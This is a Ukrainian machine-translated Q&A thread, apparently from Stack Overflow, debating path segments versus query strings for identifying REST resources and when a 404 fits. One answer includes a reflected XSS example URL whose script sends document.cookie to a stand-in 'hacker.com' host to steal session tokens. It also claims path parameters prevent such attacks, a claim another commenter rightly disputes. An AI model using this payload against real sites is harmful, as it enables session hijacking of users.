Рядок запитів у URL-адресі ресурсу REST


77

Сьогодні я обговорив з колегою питання використання рядків запитів у URL-адресах REST. Візьмемо ці 2 приклади:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

Моя позиція полягала в тому, що URL-адреси повинні бути розроблені, як у прикладі 1. Це чистіше, і те, що я вважаю правильним у REST. На мою думку, ви були б абсолютно правильно повернути помилку 404 із прикладу 1, якщо код товару не існував, тоді як у прикладі 2 повернення 404 було б неправильним, оскільки сторінка повинна існувати. Його позиція полягала в тому, що це насправді не мало значення і що вони обидва роблять одне і те ж.

Оскільки жоден з нас не зміг знайти конкретних доказів (правда, мої пошуки не були широкими), я хотів би знати думку інших щодо цього.


Дякую за всі відповіді народні. Зараз він погодився з думкою, що варіант перший кращий, ніж варіант 2, з деяким додатковим читанням / дослідженням.
pythonandchips

29
Зверніть увагу, що ресурси у REST повинні бути іменниками, а не дієсловами. Отже, "Знайти за кодом товару", насамперед, недоречно.
флетом

Відповіді:


49

У типових API REST приклад №1 є більш правильним. Ресурси представлені як URI, а # 1 робить це більше. Повернення 404, коли код товару не знайдено, є абсолютно правильною поведінкою. Сказавши це, я трохи змінив би номер 1, щоб стати трохи виразнішим, як це:

http://localhost/products/code/4xheaua

Подивіться на інші добре розроблені API REST - наприклад, на StackOverflow. Ти маєш:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

Це всі різні способи отримати відповіді на "питання".


11
+1, оскільки findbyproductcode більше дієслова, ніж іменник - це виклик RPC, а не ресурс. Однак, я думаю, питання трохи змінюється, і відповідь теж, коли у вас є кілька критеріїв пошуку, а не лише код товару. / products? size = {size} & color = {color}. Мене зацікавлять ваші думки з цього приводу.
ScottCher

34
Я б сказав: якщо код , 4xheauaє продукт ID , то я б краще піти з . Натомість, якщо код - лише один із багатьох критеріїв пошуку, тоді я піду на це . domain/products/4xheauadomain/products?code=4xheaua
superjos

1
Додам, що додаткові частини шляху повинні виражати ієрархічні, подібні до каталогу зв’язки. На мою думку, це основний принцип того, що сказав @superjos (+1). Але не всі ресурси мають ідентифікатори, тому це трохи загальніше.
wprl

Це вірно. Це дозволяє робити такі речі, як localhost / products / new або localhost / products / firesale
richard

що щодо ресурсу ідентифікується двома полями? / domain / projects? code = xxx & name = xxx
PeiSong

85

Немає різниці між двома URI з точки зору клієнта. URI непрозорі для клієнта. Використовуйте будь-які карти більш чисто в своїй серверній інфраструктурі.

Що стосується REST, то тут абсолютно ніякої різниці немає. Я вважаю, що причина, через яку так багато людей вважає, що лише компонент шляху визначає ресурс, полягає в наступному рядку в RFC 2396

Компонент запиту - це рядок інформації, що інтерпретується ресурсом.

Пізніше цей рядок було змінено у RFC 3986 на:

Компонент запиту містить неієрархічні дані, які поряд із даними в компоненті шляху (Розділ 3.3) служать для ідентифікації ресурсу

IMHO це означає, що і рядок запиту, і сегмент шляху є функціонально еквівалентними, коли йдеться про ідентифікацію ресурсу.


Оновлення для звернення до коментаря Стіва.

Вибачте мене, якщо я заперечую проти прикметника «чистіший». Це просто занадто суб’єктивно. Ти хоч маєш думку, що я пропустив значну частину питання.

Я думаю, що відповідь на питання про повернення 404 залежить від того, який ресурс отримується. Це представлення результату пошуку, чи це представлення продукту? Щоб це знати, вам дійсно потрібно поглянути на зв'язок посилань, який привів нас до URL-адреси.

Якщо URL-адреса повинна повертати представлення продукту, тоді слід повернути 404, якщо код не існує. Якщо URL-адреса повертає результат пошуку, тоді вона не повинна повертати 404.

Кінцевим результатом є те, що вигляд URL-адреси не є визначальним фактором. Сказавши це, загальноприйнято, що рядки запитів використовуються для повернення результатів пошуку, тому інтуїтивніше використовувати цей стиль URL, коли ви не хочете повертати 404.


13
Цитування специфікацій RFC - це добре, але це не зовсім те питання, яке задається. Так, два приклади є функціонально еквівалентними - це не спірно. Питання виходить за рамки підручника "визначення" ресурсу (на який вони обидва претендують). На його запитання, що трапиться, якщо коду в рядку запиту немає? 404? А як щодо "чистішого" аспекту його запитання? Так, обидва є "дійсними", але IMHO, № 1 є "чистішим" і більше відповідає тому, що він шукає (у поєднанні з моєю відповіддю нижче зі StackOverflow).
Steve Michelotti

5
Я погоджуюсь із порівнянням, яке ви дали у своїй оновленій відповіді. рядок запиту має сенс для результату пошуку без 404 с. Для коду товару (згідно з цим питанням) 404 має сенс, а для IMO частіше не використовувати рядок запиту для цього сценарію. Дякуємо за оновлену відповідь.
Steve Michelotti

@DarrelMiller, що ви маєте на увазі під "IMHO, це означає, що і рядок запиту, і сегмент шляху є функціонально еквівалентними, коли йдеться про ідентифікацію ресурсу."? Ви хочете сказати, що foo / resources та foo / resources? QueryParam = bar мають розглядатися як однакові ідентифікатори ресурсів? Або що, хоча різні ідентифікатори ресурсу, вони ідентифікують один і той же ресурс?
Les Hazlewood

1
@LesHazlewood Ні. Це два різні ідентифікатори ресурсів, які ідентифікують два різні ресурси, але кожен з них буде працювати так само ефективно.
Даррел Міллер,

11

Існує два випадки використання GET

  1. Отримайте унікально визначений ресурс
  2. Пошук ресурсу (ресурсів) на основі заданих критеріїв

Приклад використання 1 Приклад:

/ products / 4xxheua
Отримайте унікально ідентифікований товар, повертає 404, якщо не знайдений.

Приклад використання 2 Приклад:

/ products? size = large & color = red
Пошук товару, повертає список відповідних товарів (від 0 до багатьох).

Якщо ми подивимось, скажімо, на API Карт Google, ми побачимо, що вони використовують рядок запиту для пошуку.

наприклад, http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

Отже, обидва стилі дійсні для власних випадків використання.


4

ІМО компонент шляху завжди повинен вказувати, що ви хочете отримати. Така URL-адреса, як http: // localhost / findbyproductcode, говорить лише про те, що я хочу щось отримати за кодом продукту, але що саме?

Таким чином, ви отримуєте контакти за допомогою http: // localhost / contacts та користувачів за допомогою http: // localhost / users . Рядок запиту використовується лише для отримання підмножини такого списку на основі атрибутів ресурсу. Єдиний виняток з цього, коли цей підмножина зменшується до одного запису на основі первинного ключа, тоді ви використовуєте щось на зразок http: // localhost / contact / [primary_key].

Це мій підхід, ваш пробіг може відрізнятися :)


4

Як я думаю, шлях URI визначає ресурс, тоді як необов’язкові рядки запитів надають визначену користувачем інформацію. Так

https://domain.com/products/42

ідентифікує конкретний товар, поки

https://domain.com/products?price=under+5

може шукати товари вартістю менше 5 доларів.

Я не згоден з тими, хто сказав, що використання рядків запитів для ідентифікації ресурсу відповідає REST. Велика частина REST - це створення API, який імітує статичну ієрархічну файлову систему (буквально не потребуючи такої системи у серверній системі) - це робить інтуїтивні семантичні ідентифікатори ресурсів. Рядки запитів порушують цю ієрархію. Наприклад, годинник - це аксесуар, який має аксесуари. У стилі REST цілком зрозуміло що

 https://domain.com/accessories/watches

і

https://domain.com/watches/accessories

кожен посилається на. За допомогою рядків запитів,

 https://domain.com?product=watches&category=accessories

не дуже зрозуміло.

Принаймні, стиль REST є кращим за рядки запитів, оскільки він вимагає приблизно вдвічі менше інформації, оскільки сильне впорядкування параметрів дозволяє нам відкинути імена параметрів.


1
Блискуча відповідь. Я цілком згоден. Я просто додам, що рядки запитів все-таки повинні використовуватися в 3 ситуаціях: (i) пагінація. Приклад: domain.com/accessories/watches?page=1 (ii) Атрибути фільтрування: domain.com/accessories/watches?fields=maker,model,price (iii) Критерії пошуку: domain.com/accessories/watches?price= LE + 100
Паулу Мерсон

3

Кінцівка цих двох URI не є дуже значущою в останньому випадку.

Однак частина "findbyproductcode", безумовно, може бути більш спокійною. Чому не просто http: // localhost / product / 4xxheau ?

З мого обмеженого досвіду, якщо у вас є унікальний ідентифікатор, то виглядати URI, як ... / product / {id}, здається чистим. Однак, якщо код товару не є унікальним, то я можу розробити його більше як №2.

Однак, як зауважив Даррел, клієнту не повинно бути все одно, як виглядає URI.


+1 для "якщо код товару не унікальний". Було б дещо неінтуїтивно писати, наприклад, http://www.google.com/search/democracyзамість http://www.google.com/search?q=democracy... чи це просто наша звичка?
Сергій Оршанський

3

Це питання розглядається, яким є чистіший підхід. Але я хочу зосередитись на іншому аспекті, який називається безпекою. Коли я почав інтенсивно працювати над безпекою додатків, я виявив, що відображену атаку XSS можна успішно запобігти, використовуючи PathParams(appraoch 1) замість QueryParams(підхід 2).

(Звичайно, обов’язковою умовою відображеної атаки XSS є те, що зловмисний вхід користувача відображається назад у джерелі html для клієнта. На жаль, деяка програма зробить це, і саме тому PathParamsможе запобігти атакам XSS)

Причина, по якій це працює, полягає в тому, що корисне навантаження XSS у поєднанні з PathParamsпризведе до невідомого, невизначеного шляху URL-адреси через похилі риси в самому корисному навантаженні.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Тоді як ця атака буде успішною, використовуючи QueryParam!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

Ось чому ви дезінфікуєте введені користувачем дані. Не дуже стосується цього питання.
Всеволод Голованов

2

Рядок запиту неминучий у багатьох практичних сенсах .... Поміркуйте, що могло б статися, якби пошук дозволив декілька (необов’язкових) полів для всіх зазначених ve. У першій формі їх позиції в ієрархії повинні були б бути зафіксовані та заповнені ...

Уявіть, кодуйте загальний SQL "where clause" у такому форматі .... Однак як рядок запиту це досить просто.


1

Філософічно кажучи, сторінки не «існують». Коли ви кладете книги або папери на свою полицю, вони залишаються там. На цій полиці вони існують окремо. Однак сторінка існує лише до тих пір, поки вона розміщується на якомусь комп’ютері, який увімкнено та може надавати її на вимогу. Сторінку, звичайно, завжди можна створити на льоту, тому їй не потрібно мати особливого існування до вашого запиту.

А тепер подумайте про це з точки зору сервера. Припустимо, це, скажімо, правильно налаштований Apache --- не однорядковий сервер python, який просто відображає всі запити до файлової системи. Тоді певний шлях, вказаний у URL-адресі, може не мати нічого спільного з розташуванням певного файлу у файловій системі. Отож, знову ж таки, сторінка не «існує» у явному сенсі. Можливо, ви запитуєте http://some.url/products/intel.html, і ви отримуєте сторінку; тоді ви просите http://some.url/products/bigmac.html, і ви нічого не бачите. Це не означає, що є один файл, але не інший. Можливо, у вас немає дозволів на доступ до іншого файлу, тому сервер повертає 404, або, можливо, bigmac.htmlвін повинен був обслуговуватися з віддаленого сервера Mc'Donalds, який тимчасово не працює.

Що я намагаюся пояснити, 404це лише цифра. У цьому немає нічого особливого: це могло бути 40404або -2349.23847, ми щойно домовились про використання 404. Це означає, що сервер є, він з вами спілкується, він, мабуть, зрозумів, що ви хотіли, і йому нічого вам повернути. Якщо ви думаєте , доречно повернутися 404до http://some.url/products/bigmac.htmlколи сервер вирішує не служити файл з якої - небудь причини, то ви могли б також погодитися повернутися 404на http://some.url/products?id=bigmac.

Тепер, якщо ви хочете бути корисним для користувачів із браузером, які намагаються вручну відредагувати URL-адресу, ви можете перенаправити їх на сторінку зі списком усіх продуктів та деякими можливостями пошуку, а не просто давати їм 404--- або ви може дати 404код як посилання на всі товари. Але тоді ви можете зробити те саме http://some.url/products/bigmac.html: автоматично перенаправити на сторінку з усіма продуктами.


1

Клієнтом REST структура URI не має значення, оскільки вона переходить за посиланнями, анотованими семантикою, і ніколи не аналізує URI.

Розробник, який пише логіку маршрутизації та логіку генерації посилань і, мабуть, хоче зрозуміти журнал, перевіривши URL-адреси, структура URI має значення. За допомогою REST ми відображаємо URI для ресурсів, а не для операцій - дисертація Fielding / єдиний інтерфейс / ідентифікація ресурсів .

Отже, обидві структури URI, мабуть, мають недоліки, оскільки вони містять дієслова у своєму поточному форматі.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

Ви можете видалити findз URI таким чином:

1. /products/code:4xxheua
2. /products?code="4xxheua"

З точки зору REST не має значення, який із них ви оберете.

Ви можете визначити власну угоду іменування, наприклад: "зменшуючи колекцію до одного ресурсу, використовуючи унікальний ідентифікатор, унікальний ідентифікатор повинен завжди бути частиною шляху, а не запитом". Це те саме, що стверджує стандарт URI: шлях є ієрархічним, запит неієрархічним. Тому я б використав /products/code:4xxheua.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.